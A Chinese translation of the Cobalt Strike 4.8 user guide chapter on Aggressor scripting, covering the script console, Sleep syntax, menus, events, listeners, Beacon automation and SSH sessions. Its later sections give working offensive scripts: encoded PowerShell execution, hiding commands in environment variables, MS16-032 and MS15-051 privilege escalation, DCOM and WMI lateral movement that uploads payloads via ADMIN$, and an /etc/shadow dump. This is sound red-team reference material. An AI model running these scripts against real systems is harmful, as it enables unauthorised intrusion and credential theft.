Cobalt Strike 4.8 用户指南-第十四节 Aggressor 脚本
14.1、什么是Aggressor脚本
Aggressor Script
是Cobalt Strike 3.0
版及更高版本中内置的脚本语言。Aggressor
脚本允许你修改和扩展 Cobalt Strike
客户端。
历史
Aggressor Script
是 Armitage
中开源脚本引擎Cortana
的精神继承者。Cortana
是通过与 DARPA
的网络快速跟踪计划(Cyber Fast Track program)签订合同而实现的。Cortana
允许用户扩展 Armitage
,并通过Armitage
的团队服务器控制 Metasploit
框架及其功能。Cobalt Strike 3.0
是Cobalt Strike
在没有Armitage
作为基础的情况下进行的全面重写。这一改动为重新审视Cobalt Strike
的脚本并围绕Cobalt Strike
的功能构建一些东西提供了机会。这项工作的成果就是 Aggressor Script
。
Aggressor Script
是一种脚本语言,用于红队行动和对手模拟,其灵感来自可编写脚本的IRC
客户端和机器人。它有两个目的。你可以创建长期运行的机器人,模拟虚拟的红队成员,与你并肩作战。你还可以根据自己的需要扩展和修改 Cobalt Strike
客户端。
现状
Aggressor Script
是Cobalt Strike 3.0
的基础。Cobalt Strike 3.0
中的大部分弹出菜单和事件展示都是由Aggressor
脚本引擎管理的。尽管如此,Aggressor
脚本仍处于起步阶段。Strategic Cyber LLC
还没有为Cobalt Strike
的大部分功能建立应用程序接口。随着时间的推移,Aggressor
脚本将会不断发展。
# 14.2、如何加载脚本
Aggressor
脚本内置于 Cobalt Strike
客户端中。要永久加载脚本,请转至 Cobalt Strike -> Script Manager
并点击Load
。
# 14.3、脚本控制台
Cobalt Strike
提供了一个控制台来控制你的脚本并与之交互。通过控制台,你可以跟踪、分析、调试和管理你的脚本。Aggressor Script
控制台可通过 Cobalt Strike-> Script Console
访问。
控制台中可以使用以下命令:
Command | Arguments | What it does |
---|---|---|
? | "foo" iswm "foobar" | evaluate a sleep predicate and print result |
e | println("foo"); | evaluate a sleep statement |
help | list all of the commands available | |
load | /path/to/script.cna | load an Aggressor Script script |
ls | list all of the scripts loaded | |
proff | script.cna | disable the Sleep profiler for the script |
profile | script.cna | dumps performance statistics for the script. |
pron | script.cna | enables the Sleep profiler for the script |
reload | script.cna | reloads the script |
troff | script.cna | disable function trace for the script |
tron | script.cna | enable function trace for the script |
unload | script.cna | unload the script |
x | 2 + 2 | evaluate a sleep expression and print result |

14.4、无头Cobalt Strike
你可以在不使用 Cobalt Strike
图形用户界面的情况下使用 Aggressor
脚本。agscript
程序(包含在 Cobalt Strike Linux 软件包中)可运行无头Cobalt Strike
客户端。agscript
程序需要四个参数:
./agscript [host] [port] [user] [password]
这些参数会将无头 Cobalt Strike
客户端连接到你指定的团队服务器。无头 Cobalt Strike
客户端会显示 Aggressor
脚本控制台。
你可以使用 agscript
立即连接到团队服务器,并运行你选择的脚本。使用方法:
./agscript [host] [port] [user] [password] [/path/to/script.cna]
该命令将无头 Cobalt Strike
客户端连接到团队服务器,加载并运行脚本。无头Cobalt Strike
客户端会在与团队服务器同步之前运行你的脚本。使用 on ready
命令可等待无头Cobalt Strike
客户端完成数据同步步骤。
on ready {println("Hello World! I am synchronized!");closeClient();
}
# 14.5、Sleep脚本快速入门
Aggressor Script
建立在 Raphael Mudge
的 Sleep
脚本语言之上。Sleep
脚本语言手册位于:
http://sleep.dashnine.org/manual/
Aggressor Script
会执行 Sleep
执行的任何操作。为了保持理智,你应该了解以下几件事。
-
Sleep
的语法、运算符和惯用语与Perl
脚本语言相似。但有一个主要区别会让新程序员感到困惑。Sleep
要求在运算符和术语之间留出空白。以下代码无效:$x=1+2; # this will not parse!!
但以下写法是有效的:
$x = 1 + 2;
-
Sleep
变量被称为标量,标量包含字符串、各种格式的数字、Java 对象引用、函数、数组和字典。下面是Sleep
中的几个赋值:$x = "Hello World"; $y = 3; $z = @(1, 2, 3, "four"); $a = %(a => "apple", b => "bat", c => "awesome language", d => 4);
-
数组和字典使用
@
和%
函数创建。数组和字典可以引用其他数组和字典。数组和字典甚至可以引用自身。 -
注释以
#
开始,直到行尾。 -
Sleep
插入双引号字符串。这意味着以$
符号开头的任何空白分隔标记都会被其值替换。特殊变量$+
会将插值字符串与另一个值连接起来。println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");
这将打印出:
$a is: %(d => 4, b => 'bat', c => 'awesome language', a => 'apple') and $x joined with $y is: Hello World3
-
有一个函数叫做
&warn
。它的工作方式类似于&println
,只不过它还包含当前脚本名称和行号。这是调试代码的一个很棒的功能。 -
Sleep
函数是用sub
关键字声明的。函数的参数标记为$1
、$2
,一直到$n
。函数将接受任意数量的参数。变量@_
也是一个包含所有参数的数组。对$1
、$2
等的更改将改变@_
的内容。sub addTwoValues {println($1 + $2); }addTwoValues("3", 55.0);
该脚本打印出:
58.0
-
在
Sleep
中,函数与任何其他对象一样都是一等类型。以下是你可能会看到的一些内容:$addf = &addTwoValues;
-
$addf
变量现在引用了&addTwoValues
函数。要调用变量中的函数,请使用:[$addf : "3", 55.0];
-
此括号表示法也用于操作
Java
对象。如果你有兴趣了解更多信息,建议你阅读Sleep
手册。以下语句是等效的,并且它们执行相同的操作:[$addf : "3", 55.0]; [&addTwoValues : "3", 55.0]; [{ println($1 + $2); } : "3", 55.0];addTwoValues("3", 55.0);
-
Sleep
有三种变量作用域:全局变量、特定闭包变量和局部变量。Sleep
手册对此有更详细的介绍。如果你在示例中看到local('$x $y $z')
,这意味着$x、$y 和 $z
是当前函数的局部变量,它们的值将在函数返回时消失。Sleep
对变量使用词法作用域。
Sleep
具有你在脚本语言中所期望的所有其他基本结构。你应该阅读手册以了解更多信息。
# 14.6、与用户交互
Aggressor
脚本使用 Sleep
的 &println
、&printAll
、&writeb
和 &warn
函数显示输出。这些函数将输出显示到脚本控制台。
脚本也可以注册命令。这些命令允许脚本通过控制台接收来自用户的触发。使用 command
关键字来注册命令:
command foo{println("Hello $1");
}
此代码段注册了 foo
命令。脚本控制台会自动解析命令的参数,并按空格将其分割为若干标记。$1
是第一个标记,$2
是第二个标记,以此类推。通常情况下,标记由空格分隔,但用户也可以使用 “双引号 ”来创建带有空格的标记。如果这种解析会影响你对输入内容的处理,可以使用$0
访问传给命令的原始文本。
颜色
你可以为 Cobalt Strike
控制台输出的文本添加颜色和样式。\c
、\U
和 \o
转义字符告诉Cobalt Strile
如何格式化文本。这些转义符只能在双引号字符串内解析。
\U
转义符会给后面的文字加上下划线。第二个\U
会停止下划线格式。
\o
转义符会重置其后面的文本的格式。换行符也会重置文本格式。
# 14.7、Cobalt Strike
Cobalt Strike 客户端
Aggressor
脚本引擎是Cobalt Strike
的粘合剂。大多数Cobalt Strike
对话框和功能都是以独立模块的形式编写的,这些模块都为Aggressor
脚本引擎提供了一些接口。
内部脚本default.cna
定义了默认的 Cobalt Strike
体验。该脚本定义了 Cobalt Strike
的工具栏按钮、弹出菜单,并且还格式化了大多数 Cobalt Strike
事件的输出。
本节将向你展示这些功能的工作原理,并使你能够根据自己的需求设计 Cobalt Strike
客户端。
键盘快捷键
脚本可以创建键盘快捷键。使用bind
关键字绑定键盘快捷键。本例中,当同时按下 Ctrl + H
键时,对话框中会显示 Hello World!
。
bind Ctrl+H {show_message("Hello World!");
}
键盘快捷键可以是任何 ASCII
字符或特殊键。快捷方式可能应用了一个或多个修饰符。修饰键是以下键之一:Ctrl
、Shift
、Alt
或 Meta
。脚本可以指定修饰符+键。
弹出式菜单
脚本还可以添加或重新定义 Cobalt Strike
的菜单结构。popup
关键字可以为弹出钩子建立菜单层次结构。
下面是定义 Cobalt Strike
帮助菜单的代码:
popup help {item("&Homepage", { url_open("https://www.cobaltstrike.com/"); });item("&Support", { url_open("https://www.cobaltstrike.com/support"); });item("&Arsenal", { url_open("https://www.cobaltstrike.com/scripts"); });separator();item("&Malleable C2 Profile", { openMalleableProfileDialog(); });item("&System Information", { openSystemInformationDialog(); });separator();item("&About", { openAboutDialog(); });
}
该脚本与帮助弹出式钩子钩子,并定义了多个菜单项。菜单项名称中的 &
是其键盘快捷键。当用户单击每个项目时,就会执行与每个项目关联的代码块。
脚本也可以定义子菜单。 menu
关键字定义一个新菜单。当用户将鼠标悬停在菜单上时,与其关联的代码块将被执行并用于构建子菜单。
下面以Pivot Graph
菜单为例进行说明:
popup pgraph {menu "&Layout" {item "&Circle" { graph_layout($1, "circle"); }item "&Stack" { graph_layout($1, "stack"); }menu "&Tree" {item "&Bottom" { graph_layout($1, "tree-bottom"); }item "&Left" { graph_layout($1, "tree-left"); }item "&Right" { graph_layout($1, "tree-right"); }item "&Top" { graph_layout($1, "tree-top"); }}separator();item "&None" { graph_layout($1, "none"); }}
}
如果你的脚本为 Cobalt Strike
菜单钩子指定了一个菜单层次结构,那么它将添加到已经存在的菜单中。请使用 &popup_clear
函数清除其他已注册的菜单项,并根据自己的喜好重新定义弹出式菜单层次结构。
自定义输出
Aggressor Script
中的set
关键字定义如何格式化事件并将其输出呈现给用户。以下是 set
关键字的示例:
set EVENT_SBAR_LEFT {return "[" . tstamp(ticks()) . "] " . mynick();
}set EVENT_SBAR_RIGHT {return "[lag: $1 $+ ]";
}
上面的代码定义了 Cobalt Strike
事件日志中状态栏的内容(View -> Event Log)。该状态栏的左侧显示当前时间和你的昵称。右侧显示Cobalt Strike
客户端和团队服务器之间消息的往返时间。
你可以覆盖 Cobalt Strike
默认脚本中的任何设置选项。创建包含你关心的事件定义的文件。将其载入 Cobalt Strike
。Cobalt Strike
将使用你的定义,而不是内置定义。
事件
使用 on
关键字可定义事件的处理程序。当 Cobalt Strike
与团队服务器连接并准备好代表你采取行动时,将触发 Ready
事件。
on ready {show_message("Ready for action!");
}
Cobalt Strike
会针对各种情况生成事件。使用 *
元事件来观看 Cobalt Strike
触发的所有事件。
on * {local('$handle $event $args');$event = shift(@_);$args = join(" ", @_);$handle = openf(">>eventspy.txt");writeb($handle, "[ $+ $event $+ ] $args");closef($handle);
}
# 14.8、数据模型
Cobalt Strike
的团队服务器会存储你的主机、服务、证书和其他信息。它还会广播这些信息,并提供给所有客户端。
Data API
使用 &data_query
函数来查询 Cobalt Strike
的数据模型。该函数可以访问Cobalt Strike
客户端维护的所有状态和信息。使用 &data_keys
函数可以获得不同数据的查询列表。下面例子查询 Cobalt Strike
数据模型中的所有数据,并将其导出到文本文件中:
command export {local('$handle $model $row $entry $index');$handle = openf(">export.txt");foreach $model (data_keys()) {println($handle, "== $model ==");println($handle, data_query($model));}closef($handle);println("See export.txt for the data.");
}
Cobalt Strike
提供多种功能,使数据模型的操作更加直观。
Model | Function | Description |
---|---|---|
applications | &applications | System Profiler Results 系统分析器结果[View -> Applications] |
archives | &archives | Engagement events/activities(参与事件/活动) |
beacons | &beacons | Active beacons(活动beacons) |
credentials | &credentials | Usernames, passwords, etc.(用户名、密码等) |
downloads | &downloads | Downloaded files(下载的文件) |
keystrokes | &keystrokes | Keystrokes received by Beacon(Beacon 收到的击键) |
screenshots | &screenshots | Screenshots captured by Beacon(Beacon 捕获的屏幕截图) |
services | &services | Services and service information(服务及服务信息) |
sites | &sites | Assets hosted by Cobalt Strike(由 Cobalt Strike 托管的资产) |
socks | &pivots | SOCKS proxy servers and port forwards(SOCKS 代理服务器和端口转发) |
targets | &targets | Hosts and host information(主机和主机信息) |
这些函数返回一个数组,数据模型中的每个条目都有一行。每个条目都是一个字典,其中包含描述条目的不同键/值对。
了解数据模型的最佳方法是通过 Aggressor
脚本控制台进行探索。进入View -> Script Console,并使用 x
命令计算表达式。例如:
使用 DATA_KEY
订阅特定数据模型的更改。
on keystrokes {println("I have new keystrokes: $1");
}
# 14.9、监听器
监听器是 Cobalt Strike
在payload
处理程序之上的抽象。侦听器是附加到payload
配置信息(例如协议、主机、端口等)的名称,在某些情况下,监听器还承诺设置一个服务器来接收来自所描述payload
的连接。
监听器API
Aggressor
脚本从你当前连接的所有团队服务器中汇总监听器信息。这样就可以轻松地将会话传递给另一个团队服务器。要获取所有监听器名称的列表,请使用 &listeners
函数。如果只想使用本地监听器,请使用 &listeners_local
。&listener_info
函数将监听器名称解析为其配置信息。本例将所有监听器及其配置信息转储到Aggressor
脚本控制台:
command listeners {local('$name $key $value');foreach $name (listeners()) {println("== $name == ");foreach $key => $value (listener_info($name)) {println("$[20]key : $value");}}
}
创建监听器
使用 &listener_create_ext
创建监听器,并启动与其关联的payload
处理程序。
选择监听器
使用 &openPayloadHelper
打开一个列出所有可用监听器的对话框。用户选择监听器后,对话框将关闭,Cobalt Strike
将运行一个回调函数。以下是Beacon
生成菜单的源代码:
item "&Spawn" {openPayloadHelper(lambda({binput($bids, "spawn $1");bspawn($bids, $1);}, $bids => $1));
}
Stagers
stager
是一个小程序,它下载有效负载并将执行传递给它。Stagers
非常适合大小受限的payload
传递向量(例如,用户驱动的攻击、内存损坏漏洞或单行命令)。不过Stagers
也有缺点。它们会在攻击链中引入一个额外的组件,而这个组件有可能被破坏。Cobalt Strike
的 stager
基于 Metasploit
框架中的 stager
。如果有必须的话,也可以使用特定于payload
的 stager
;但最好避免使用它们。
使用 &stager
导出与 Cobalt Strike ``payload
相关的payload stager
。并非所有payload
选项都有显式payload stager
。并非所有 stager
都有x64
选项。
&artifact_stager
函数将导出 PowerShell
脚本、可执行文件或 DLL
,以运行与 Cobalt Strike payload
相关联的 stager
。
Local Stagers
对于需要使用 stager
的后渗透操作,请使用仅限 localhost
的 bind_tcp stager
。使用此stager
可以使分段所需的后渗透操作能够同等地与 Cobalt Strike
的所有payload
一起使用。
使用&stager_bind_tcp
导出bind_tcp payload stager
。使用 &beacon_stage_tcp
将payload
传送到此 stager
。
&artifact_general
将接受这些任意代码,并生成PowerShell
脚本、可执行文件或 DLL
以托管这些代码。
命名管道Stagers
Cobalt Strike
确实有一个 bind_pipe stager
,对于某些横向移动情况很有用。此 stager
仅适用于 x86
。使用 &stager_bind_pipe
导出此 bind_pipe stager
。使用 &beacon_stage_pipe
将payload
传送到此 stager
。
&artifact_general
将接受这些任意代码,并生成PowerShell
脚本、可执行文件或 DLL
以托管这些代码。
Stageless Payloads
使用&payload
将 Cobalt Strike payload
(完整)导出为可立即运行的位置无关程序。
&artifact_general
将接受这些任意代码,并生成PowerShell
脚本、可执行文件或 DLL
以托管这些代码。
# 14.10、Beacon
Beacon
是 Cobalt Strike
的异步后渗透代理。在本节中,我们将探索使用 Cobalt Strike
的 Aggressor
脚本实现 Beacon
自动化的选项。
元数据
Cobalt Strike
为每个 Beacon
分配一个会话 ID
。这个ID
是一个随机数。 Cobalt Strike
将任务和元数据与每个 Beacon ID
相关联。使用&beacons
查询所有当前Beacon
会话的元数据。使用&beacon_info
查询特定Beacon
会话的元数据。下面是一个转储每个 Beacon
会话信息的脚本:
command beacons {local('$entry $key $value');foreach $entry (beacons()) {println("== " . $entry['id'] . " ==");foreach $key => $value ($entry) {println("$[20]key : $value");}println();
Aliases(别名)
你可以使用别名关键字定义新的 Beacon
命令。下面是一个 hello
别名,可在 Beacon
控制台中打印 Hello World
。
alias hello {blog($1, "Hello World!");
}
将上述内容写入脚本,加载到 Cobalt Strike
中,然后打开 Beacon
控制台。然后输入 hello
命令并按回车键。Cobalt Strike
甚至会以制表符的形式为你完成别名设置。你应该能在Beacon
控制台看到 Hello World!
。
你还可以使用 &alias
函数定义别名。
Cobalt Strike
会将以下参数传递给别名:$0
是别名名称和参数,不做任何解析。 $1
是输入别名的 Beacon
的 ID
。参数 $2
和 on
包含传递给别名的单个参数。别名解析器按空格分割参数。用户可以使用 “双引号 ”将单词组合成一个参数。
alias saywhat {blog($1, "My arguments are: " . substr($0, 8) . "\n");
}
你也可以在 Beacon
的帮助系统中注册别名。使用 &beacon_command_register
注册命令。
别名是扩展Beacon
并使其成为你自己系统的便捷方法。别名还能很好地发挥 Cobalt Strike
的威胁模拟作用。你可以使用别名来编写复杂的入侵后行动脚本,使其与其他行动者的技术相结合。你的红队操作员只需加载脚本,学习别名。然后他们就可以按照与你正在模仿的行动者保持一致的方式使用你的脚本策略进行操作。
响应新的Beacons
Aggressor Script
的一个常见用途是对新的Beacons
做出反应。使用 beacon_initial
事件设置在 Beacon
首次签入时应运行的命令。
on beacon_initial {# do some stuff
}
beacon_initial
的 $1
参数是新 Beacon
的 ID
。
beacon_initial
事件会在beacon
首次报告元数据时触发。这意味着 DNS Beacon
在被要求运行命令之前不会触发 beacon_initial
。要与第一次回拨的DNS Beacon
交互,请使用 beacon_initial_empty
事件。
# some sane defaults for DNS Beacon
on beacon_initial_empty {bmode($1, "dns-txt");bcheckin($1);
}
弹出菜单
你还可以在 Beacons
弹出菜单中添加别名。别名虽好,但一次只能影响一个信标。通过弹出菜单,脚本的用户可以让多个Beacons
同时执行所需的操作。
beacon_top
和 beacon_bottom
弹出钩子可让你添加到默认的 Beacon
菜单中。Beacon
弹出钩子的参数是所选 Beacon ID
的数组。
popup beacon_bottom {item "Run All..." {prompt_text("Which command to run?", "whoami /groups", lambda({binput(@ids, "shell $1");bshell(@ids, $1);}, @ids => $1));}
}
日志合约
Cobalt Strike 3.0
及更高版本在日志记录方面做得很好。向Beacon
发出的每一条命令都会注明日期和时间戳,并归属于某个操作员。Cobalt Strike
客户端的beacon
控制台会处理这些日志记录。为用户执行命令的脚本不会将命令或操作员归属记录到日志中。。该脚本负责执行此操作。使用&binput
函数来执行此操作。该命令将向 Beacon
记录发送一条消息,就像用户键入了命令一样。
确认任务
自定义别名应调用&btask
函数来描述用户请求的操作。此输出被发送到 Beacon
日志,并且也用于 Cobalt Strike
的报告中。大多数向 Beacon
发出任务的 Aggressor Script
函数都会打印自己的确认消息。如果你想抑制这种情况,请添加!
到函数名称。这将运行该函数的安静变体。安静函数不会打印任务确认。例如, &bshell!
是&bshell
的安静变体。
alias survey {btask($1, "Surveying the target!", "T1082");bshell!($1, "echo Groups && whoami /groups");bshell!($1, "echo Processes && tasklist /v");bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");bshell!($1, "echo System Info && systeminfo");
}
&btask
的最后一个参数是以逗号分隔的 ATT&CK
技术列表。 T1082
是系统信息发现。 ATT&CK
是 MITRE Corporation
的一个项目,用于对攻击者行为进行分类和记录。 Cobalt Strike
使用这些技术来构建其战术、技术和程序报告。你可以在下列链接中了解有关 MITRE ATT&CK
矩阵的更多信息:https://attack.mitre.org/。
占领Shell
别名可覆盖现有命令。下面是 Beacon
的 powershell
命令的Aggressor
脚本实现:
alias powershell {local('$args $cradle $runme $cmd');# $0 is the entire command with no parsing.$args = substr($0, 11);# generate the download cradle (if one exists) for an imported PowerShell script$cradle = beacon_host_imported_script($1);# encode our download cradle AND cmdlet+args we want to run$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );# Build up our entire command line.$cmd = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";# task Beacon to run all of this.btask($1, "Tasked beacon to run: $args", "T1086");beacon_execute_job($1, "powershell", $cmd, 1);
}
该别名定义了在 Beacon
中使用的 PowerShell
命令。我们使用$0
来抓取所需的 PowerShell
字符串,而无需进行任何解析。重要的是要考虑到导入的 PowerShell
脚本(如果用户使用powershell-import
导入了 PowerShell
脚本)。为此,我们使用了 &beacon_host_imported_script
。该函数要求Beacon
在绑定到本地主机的一次性 Web
服务器上托管导入的脚本。它还返回一个带有 PowerShell
下载器的字符串,用于下载并评估导入的脚本。PowerShell
中的 -EncodedCommand
标志接受 base64
字符串形式的脚本。但有一个问题。我们必须将字符串编码为 little endian UTF16
文本。这个别名使用 &str_encode
来实现这一点。&btask
调用会记录 PowerShell
的这次运行,并将其与战术 T1086
相关联。&beacon_execute_job
函数会让 Beacon
运行PowerShell
并将其输出报告给 Beacon
。
同样,我们也可以在Beacon
中重新定义 shell
命令。这个别名创建了一个备用shell
命令,将 Windows
命令隐藏在环境变量中。
alias shell {local('$args');$args = substr($0, 6);btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");bsetenv!($1, "_", $args);beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}
&btask
调用会记录我们的意图,并将其与战术 T1059
相关联。&bsetenv
将我们的 Windows
命令分配给环境变量 _。脚本使用!
来抑制&bsetenv
的任务确认。&beacon_execute_job
函数运行参数为 /C %_%
的 %COMSPEC%
。这是因为 &beacon_execute_job
会解析命令参数中的环境变量。它不会解析参数中的环境变量。因此,我们可以使用%COMSPEC%
来定位用户的 shell
,但将 %_%
作为参数传递而不立即插值。
权限提升(运行命令)
Beacon
的runasadmin
命令尝试在提权的上下文中运行命令。该命令接受提权方式和命令(命令和参数:))。&beacon_elevator_register
函数使新的提权方式可供 runasadmin
使用。
beacon_elevator_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_elevator);
该代码使用 Beacon
的runasadmin
命令注册提权方式 ms16-032
。同时还给出了说明。当用户输入 runasadmin ms16-032 notepad.exe
时,Cobalt Strike
将使用以下参数运行 &ms16_032_elevator
:$1
是Beacon
会话 ID
。 $2
是命令和参数。下面是 &ms16_032_elevator
函数:
# Integrate ms16-032
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {local('$handle $script $oneliner');# acknowledge this commandbtask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");# read in the script$handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));$script = readb($handle, -1);closef($handle);# host the script in Beacon$oneliner = beacon_host_script($1, $script);# run the specified command via this exploit.bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);
该函数使用&btask
向用户确认该操作。 &btask
中的描述也将出现在 Cobalt Strike
的日志和报告中。 T1068
是与此动作相对应的MITRE ATT&CK
技术。
该函数的末尾使用&bpowerpick
来运行Invoke-MS16032
,并使用参数来运行我们的命令。不过,实现 Invoke-MS16032
的PowerShell
脚本对于一行代码来说太大了。为了缓解这种情况,提权功能使用&beacon_host_script
在 Beacon
内托管大型脚本。 &beacon_host_script
函数返回一行以获取此托管脚本并对其进行评估。
&bpowerpick
后面的感叹号告诉 Aggressor
脚本调用此函数的安静变体。安静函数不打印任务描述。
这里就不多说了。命令提权脚本只需运行一个命令即可。)
权限升级(派生会话)
Beacon
的elevate
命令会尝试派生一个具有提升权限的新会话。该命令接受一个漏洞名称和一个监听器。&beacon_exploit_register
函数使新的漏洞利用程序可用于提升权限。
beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);
此代码使用 Beacon
的 elevate
命令注册漏洞利用ms15-051
。还给出了描述。当用户输入elevate ms15-051 foo
时,Cobalt Strike
将使用以下参数运行 &ms15_051_exploit
: $1
是beacon
会话 ID
。 $2
是监听器名称(例如,foo
)。下面是 &ms15_051_exploit
函数代码:
# Integrate windows/local/ms15_051_client_copy_image from Metasploit
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/ms15_051_client_copy_image.rb
sub ms15_051_exploit {local('$stager $arch $dll');# acknowledge this commandbtask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051", "T1068");# tune our parameters based on the target archif (-is64 $1) {$arch = "x64";$dll = getFileProper(script_resource("modules"), "cve-2015-1701.x64.dll");}else {$arch = "x86";$dll = getFileProper(script_resource("modules"), "cve-2015-1701.x86.dll");}# generate our shellcode$stager = payload($2, $arch);# spawn a Beacon post-ex job with the exploit DLLbdllspawn!($1, $dll, $stager, "ms15-051", 5000);# link to our payload if it's a TCP or SMB Beaconbeacon_link($1, $null, $2);
}
该函数使用&btask
向用户确认该操作。 &btask
中的描述也将出现在 Cobalt Strike
的日志和报告中。 T1068
是与此动作相对应的MITRE ATT&CK
技术。
该函数重新利用了Metasploit
框架中的一个exploit
。该漏洞利用模块被编译为支持 x86
和 x64
的 cve-2015-1701.[arch].dll
。该函数的第一个任务是读取与目标系统体系结构相对应的漏洞利用 DLL
。
&payload
函数为我们的监听器名称和指定的体系结构生成原始输出。
&bdllspawn
函数会生成一个临时进程,将我们的漏洞利用DLL
注入其中,并将我们导出的payload
作为参数传递。这就是Metasploit Framework
用来将shellcode
传递到以 Reflective DLL
实现的权限升级漏洞的方式。
最后,该函数调用&beacon_link
。如果目标见提前是 SMB
或 TCP Beacon payload
, &beacon_link
将尝试连接到它。
横向移动(运行命令)
Beacon
的 remote-exec
命令试图在远程目标上运行一条命令。该命令接受远程执行方法、目标和命令 + 参数。&beacon_remote_exec_method_register
函数既是一个很长的函数名,又为远程执行方法提供了一个新方法。
beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);
这段代码将remote-exec
方法 com-mmc20
注册到 Beacon
的remote-exec
命令中。同时还给出了说明。当用户输入 remote-exec com-mmc20 c:\windows\temp\malware.exe
时,Cobalt Strike
将运行 &mmc20_exec_method
,参数如下: $1
是Beacon
会话 ID
。$2
是目标。$3
是命令和参数。下面是 &mmc20_exec_method
函数:
sub mmc20_exec_method {local('$script $command $args');# state what we're doing.btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");# separate our command and argumentsif ($3 ismatch '(.*?) (.*)') {($command, $args) = matched();}else {$command = $3;$args = "";}# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object$script = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';$script .= $2;$script .= '")).Document.ActiveView.ExecuteShellCommand("';$script .= $command;$script .= '", $null, "'; $script .= $args;$script .= '", "7");';# run the script we built upbpowershell!($1, $script, "");
}
该功能使用 &btask
确认任务并向操作员描述(以及日志和报告)。T1175
是与此操作相对应的 MITRE ATT&CK
技术。
然后,该函数将$3
参数拆分为命令和参数两部分。这样做是因为该技术要求这些值是分开的。
之后,该函数会创建一个PowerShell
命令字符串,如下所示:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGETHOST")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");
此命令使用 MMC20.Application COM
对象在远程目标上执行命令。这种方法是由Matt Nelson
发现的一种横向移动选项:https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
此函数使用&bpowershell
来运行此 PowerShell
脚本。第二个参数是一个空字符串,用于抑制默认下载器(如果操作员之前运行过 powershell-import
)。你也可以修改此示例以使用 &bpowerpick
运行此单行代码,而无需powershell.exe
。
这个示例是作者向 Cobalt Strike
添加 Remote-exec
命令和 API
的主要动机之一。这是一个出色的“执行此命令”原语,但端到端武器化(生成会话)通常包括使用此原语在目标上运行PowerShell
单行代码。由于种种原因,这在很多情况下并不是正确的选择。通过remote-exec
接口公开这一基本要素,可以让你选择如何最好地利用这一功能(而不会强迫你做出你不希望做出的选择)。
横向移动(派生会话)
Beacon
的jump
命令尝试在远程目标上生成新会话。此命令接受漏洞利用名称、目标和侦听器,&beacon_remote_exploit_register
函数使新模块可用于jump
。
beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64"));
上述函数注册了 wmi
和wmi64
选项,供jump
命令使用。&lambda
函数复制了 &wmi_remote_spawn
,并将 $arch
设置为该函数副本的静态变量。通过这种方法,我们可以使用相同的逻辑在一个实现中提供两个横向移动选项。下面是 &wmi_remote_spawn
函数:
# $1 = bid, $2 = target, $3 = listener
sub wmi_remote_spawn {local('$name $exedata');btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047");# we need a random file name.$name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";# generate an EXE. $arch defined via &lambda when this function was registered with# beacon_remote_exploit_register$exedata = artifact_payload($3, "exe", $arch);# upload the EXE to our target (directly)bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name", $exedata);# execute this via WMIbrun!($1, "wmic /node:\" $+ $2 $+ \" process call create \"\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name $+ \"");# assume control of our payload (if it's an SMB or TCP Beacon)beacon_link($1, $2, $3);
&btask
函数履行了我们记录用户意图的义务。T1047
参数将此操作与 MITRE ATT&CK
矩阵中的战术 1047
相关联。
&artfiact_payload
函数生成一个stageless
可执行程序来运行我们的payload
。它使用 Artifact Kit
钩子来生成此执行文件。
&bupload_raw
函数将工件数据上传到目标。该函数使用 \\target\ADMIN$\filename.exe
直接将EXE
通过管理员专用共享写入远程目标。
&brun
运行wmic /node:"target"
进程调用 create "\\target\ADMIN$\filename.exe"
以执行远程目标上的文件。
如果payload
是 SMB
或 TCP Beacon
,则 &beacon_link
承担对paylaod
的控制。
# 14.11、SSH会话
Cobalt Strike
的SSH
客户端使用SMB Beacon
协议,并实现了Beacon
命令和功能的子集。从Aggressor
脚本的角度来看,SSH
会话就是命令较少的Beacon
会话。
是什么类型的会话?
与 Beacon
会话一样,SSH
会话也有一个 ID
。Cobalt Strike
会将任务和元数据与此 ID
关联。&beacons
函数还会返回所有 Cobalt Strike
会话(SSH
会话和 Beacon
会话)的信息。使用 -isssh
参数测试会话是否为 SSH
会话。使用 -isbeacon
测试会话是否为 Beacon
会话。
以下是仅过滤 SSH
会话信标的函数:
sub ssh_sessions {return map({if (-isssh $1['id']) {return $1;}else {return $null;}}, beacons());
}
别名
可以使用 ssh_alias
关键字将命令添加到 SSH
控制台。如果你是管理员,这里有一个别名 hashdump
以获取 /etc/shadow
的脚本。
ssh_alias hashdump {if (-isadmin $1) {bshell($1, "cat /etc/shadow");}else {berror($1, "You're (probably) not an admin");}
}
将以上内容放入脚本中,将其加载到 Cobalt Strike
中,然后在 SSH
控制台中输入 hashdump
。 Cobalt Strike
也会标记完整的 SSH
别名。
你还可以使用 &ssh_alias
函数定义 SSH
别名。
Cobalt Strike
会将以下参数传递给别名:$0
是别名名称和参数,不做任何解析。$1
